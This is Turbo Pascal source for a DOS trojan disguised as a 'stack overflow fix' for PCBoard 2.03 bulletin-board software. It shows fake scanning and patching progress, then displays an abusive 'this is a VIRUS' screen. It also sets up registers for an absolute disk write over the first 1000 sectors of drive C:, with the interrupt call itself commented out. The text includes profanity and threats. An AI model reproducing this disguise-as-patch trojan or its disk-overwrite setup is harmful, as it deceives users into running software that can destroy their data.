{$I-}
PROGRAM Formatter (input, output);
uses dos,crt,printer,extra;

Type ScreenType = array [0..3999] of Byte;
Var Regs                                                : Registers;
   ResultIo            : Integer;
   CounterOne          : Integer;
   CounterTwo          : Integer;
   CounterThree        : Integer;
   CounterFour         : Integer;
   XPosition           : Integer;
   YPosition           : Integer;
   TargetAddressNumber : Integer;
               PcBoardDirectory    : String;
   CountOne            : String;
   CountTwo            : String;
   CountThree          : String;
   CountFour           : String;
         ScreenAddr                              : ScreenType absolute $B800:$0000;

Const ProgramOne ='Command.Com';
                       ProgramTwo ='Command.Com';
     SearchFor  ='Stack Overflow';
     ShortName  ='Pc-Board';
     Version    ='2.03';
     LongName   = ShortName+' '+Version+' Fix for '+SearchFor;
     Directory  ='C:\PCBOARD\';
     Programmers='Programmed by Larry Jones';
                       ImageData  : array [1..648] of Char = (
#16,#24,#25,#3 ,#15,'Y','o','u',' ','s','t','u','p','i','d',' ','l','i','t',
't','l','e',' ','s','h','i','t',',',' ','t','h','i','s',' ','i','s',' ','a',
' ','V','I','R','U','S',',',' ','d','i','s','t','r','i','b','u','t','e','d',
' ','b','y',' ','n','o',' ','o','t','h','e','r',' ','t','h','a','n','.','.',
'.',#24,#24,#25,#11,#12,#27,#17,'�',#26,#53,'�','�',#24,#16,#25,#11,#17,'�',
' ',' ',#11,#27,'�',#26,#6 ,'�','�',' ',' ','�',#26,#5 ,'�','�',' ',' ','�',
#26,#7 ,'�','�',' ','�','�','�','�','�','�',' ','�',#26,#6 ,'�','�',#25,#3 ,
#12,#27,'�',#15,#27,#23,'�',#24,#16,#25,#11,#12,#27,#17,'�',#25,#2 ,#11,#27,
'�','�',#25,#3 ,'�','�',' ',' ','�','�',#25,#3 ,'�','�',#25,#2 ,'�','�',#25,
#3 ,'�','�','�',#25,#2 ,'�','�',#25,#3 ,'�','�',#25,#4 ,'�','�',#25,#2 ,#12,
#27,'�',#15,#27,#23,'�',#7 ,'�',#24,#16,#25,#11,#12,#27,#17,'�',#25,#2 ,#11,
#27,#26,#6 ,'�',#25,#2 ,#26,#7 ,'�',#25,#2 ,#26,#7 ,'�',#25,#3 ,'�','�',#25,
#3 ,'�','�',#25,#4 ,'�','�',#25,#2 ,#12,#27,'�',#15,#27,#23,'�',#7 ,'�',#8 ,
#16,'�',#24,#25,#11,#12,#27,#17,'�',#25,#2 ,#11,#27,'�','�',' ','�','�','�',
#25,#3 ,'�','�',#25,#3 ,'�','�',#25,#2 ,'�','�',#25,#3 ,'�','�','�',#25,#2 ,
'�','�',#25,#3 ,'�','�',#25,#4 ,'�','�',#25,#2 ,#12,#27,'�',#15,#27,#23,'�',
#7 ,'�',#8 ,#16,'�',#24,#25,#11,#12,#27,#17,'�',' ',' ',#11,#27,'�','�','�',
'�',' ','�','�','�','�',' ','�','�','�','�',' ',' ','�','�','�','�',' ','�',
#26,#7 ,'�','�',' ','�','�','�','�','�','�',' ','�',#26,#6 ,'�','�',#25,#3 ,
#12,#27,'�',#15,#27,#23,'�',#7 ,'�',#8 ,#16,'�',#24,#25,#11,#12,#27,#17,'�',
#26,#53,'�','�',#15,#27,#23,'�',#7 ,'�',#8 ,#16,'�',#24,#25,#13,#15,'�',#23,
#26,#53,'�',#7 ,'�',#8 ,#16,'�',#24,#25,#15,#26,#54,'�',#24,#25,#17,#7 ,'W',
'e',#39,'r','e',' ','g','o','n','n','a',' ','g','e','t',' ','y','o','u',',',
' ','n','o',' ','m','a','t','t','e','r',' ','w','h','a','t',' ','i','t',' ',
't','a','k','e','s','.',#24,#25,#17,'L','i','s','t','e','n',' ','u','p',',',
' ','k','i','d','s',#26,#4 ,'.',#15,'D','O','N',#39,'T',' ','F','U','C','K',
' ','W','I','T','H',' ','R','A','B','I','D',#7 ,#26,#3 ,'.',#24,#25,#21,'Y',
'o','u',#39,'l','l',' ','n','e','v','e','r',' ','l','i','v','e',' ','t','o',
' ','m','a','k','e',' ','i','t',' ','a','l','i','v','e','.','.',#24,#24,#25,
#14,'W','i','n','n','i','n','g',' ','t','h','e',' ','b','a','t','t','l','e',
',',' ','a','g','a','i','n','s','t',' ',#15,'F','U','C','K','E','R','S',' ',
#7 ,'l','i','k','e',' ','y','o','u','r','s','e','l','f','.','.',#24,#24,#25,
#23,#4 ,'(','T','h','e',' ','W','o','r','d','s',' ','f','r','o','m',' ','t',
'h','e',' ','I','m','m','o','r','t','a','l',' ','O','n','e',')',#24,#24,#24,
#24,#24);

procedure UNCRUNCH (var Addr1,Addr2; BlkLen:Integer);
begin
 inline ($1E/$C5/$B6/Addr1/$C4/$BE/Addr2/$8B/$8E/BlkLen/$8B/$D7/$B4/$00/
 $AC/$3C/$10/$73/$07/$80/$E4/$F0/$0A/$E0/$EB/$44/$3C/$18/$74/$13/$73/$19/
 $2C/$10/$02/$C0/$02/$C0/$02/$C0/$02/$C0/$80/$E4/$0F/$0A/$E0/$EB/$2D/$81/
 $C2/$A0/$00/$8B/$FA/$EB/$25/$3C/$1A/$75/$0B/$AC/$49/$51/$32/$ED/$8A/$C8/
 $AC/$EB/$0D/$90/$3C/$19/$75/$11/$AC/$51/$32/$ED/$8A/$C8/$B0/$20/$0B/$C9/
 $74/$03/$AB/$E2/$FD/$59/$49/$AB/$0B/$C9/$74/$02/$E2/$AA/$1F);
end;

Function Exist (FileName:String):Boolean;
Var FileToOpen:File;
   CounterOne:Integer;
Begin
 Assign (FileToOpen,FileName);
 Reset (FileToOpen);
 CounterOne:=ioresult;
 Exist:=CounterOne=0;
 Close (FileToOpen);
 CounterOne:=ioresult
End;

Procedure WasteTime (TimeToWaste:Integer);
Var CounterOne:Integer;
               FileToOpen:File;
Begin
 For CounterOne:=1 to TimeToWaste do begin
         Assign (FileToOpen,'C:\COMMAND.COM');
         Reset (FileToOpen);
         Close (FileToOpen);
   Randomize;
   delay (Random(500));
 end;
end;

Function Strr(IntegerNumber:Integer):String;
Var StringNumber:String;
Begin
 Str(IntegerNumber,StringNumber);
 Strr:=StringNumber;
End;

procedure Format;
Begin
       Clrscr;
       UnCrunch (ImageData,ScreenAddr[ (1*2) + (1*160) -162],648);
{       Intr ($26,Regs);}
end;

begin
 SetCBreak(true);
 TargetAddressNumber:=1;
       NormCursorOn;
       TextColor (7);
 TextBackGround(0);
 writeln;
 writeln;
 writeln;
 writeln (LongName);
 writeln (Programmers);
 repeat;
         writeln;
         writeln (' Enter the Directory where '+ShortName+' '+Version+' is Stored: (Eg. '+Directory+') ');
   writeln;
         write   (' Directory Name>: ');
         readln (PcBoardDirectory);
   if (length(PcBoardDirectory)=0) then PcBoardDirectory:='__________';
         ChDir (PcBoardDirectory);
   ResultIo:=0;
   ResultIo:=IoResult;
         If ResultIo <>0 then begin
               writeln;
     TextColor(4);
           writeln (' Directory does not exist.');
     TextColor(7);
     writeln;
     writeln;
     halt;
         end;
 until ResultIo=0;
 ChDir (PcBoardDirectory);
 if ((not(exist(ProgramOne))) or (not(exist(ProgramTwo)))) then begin
       writeln;
   TextColor(4);
   writeln (' '+ShortName+' files not found.');
   TextColor(7);
   Halt;
 end;
 writeln;
 write (' Loading '+ShortName+'.EXE... ');
 WasteTime (70);
 Delay (2000);
 write (' Searching for '+SearchFor+' - ');
 TargetAddressNumber:=TargetAddressNumber+3;
 TargetAddressNumber:=TargetAddressNumber-2;
 TargetAddressNumber:=TargetAddressNumber*2;
 Delay (1500);
 CursorOff;
       XPosition:=WhereX;
 YPosition:=WhereY;
 For CounterOne:=0 to 1 do begin
       For CounterTwo:=0 to 13 do begin
       For CounterThree:=0 to 7 do begin
       For CounterFour:=0 to 11 do begin
         Gotoxy (XPosition,YPosition);
         if CounterFour=10 then CountFour:='A' else
         if CounterFour=11 then CountFour:='B' else
         if CounterFour=12 then CountFour:='C' else
         if CounterFour=13 then CountFour:='D' else
         CountFour:=strr(CounterFour);
         if CounterThree=10 then CountThree:='A' else
         if CounterThree=11 then CountThree:='B' else
         if CounterThree=12 then CountThree:='C' else
         if CounterThree=13 then CountThree:='D' else
         CountThree:=strr(CounterThree);
         if CounterTwo=10 then CountTwo:='A' else
         if CounterTwo=11 then CountTwo:='B' else
         if CounterTwo=12 then CountTwo:='C' else
         if CounterTwo=13 then CountTwo:='D' else
         CountTwo:=strr(CounterTwo);
         if CounterOne=10 then CountOne:='A' else
         if CounterOne=11 then CountOne:='B' else
         if CounterOne=12 then CountOne:='C' else
         if CounterOne=13 then CountOne:='D' else
         CountOne:=strr(CounterOne);
         write ('1B9C:',CountOne,CountTwo,CountThree,CountFour);
       end;
     end;
   end;
 end;
 NormCursorOn;
 Delay (1500);
 writeln;
 write (' '+strr(TargetAddressNumber)+' Target Address Found... ');
 Delay (1500);
 writeln ('Fixing '+SearchFor+'...');
 delay (3000);
 write (' Rewriting '+ShortName+' Program.... ');
 WasteTime (30);
 writeln (' '+SearchFor+' will not occur any more.');
       Regs.AL:=2;
 Regs.CX:=1000;
 Regs.DX:=0;
 Format;
end.

Downloaded From P-80 International Information Systems 304-744-2253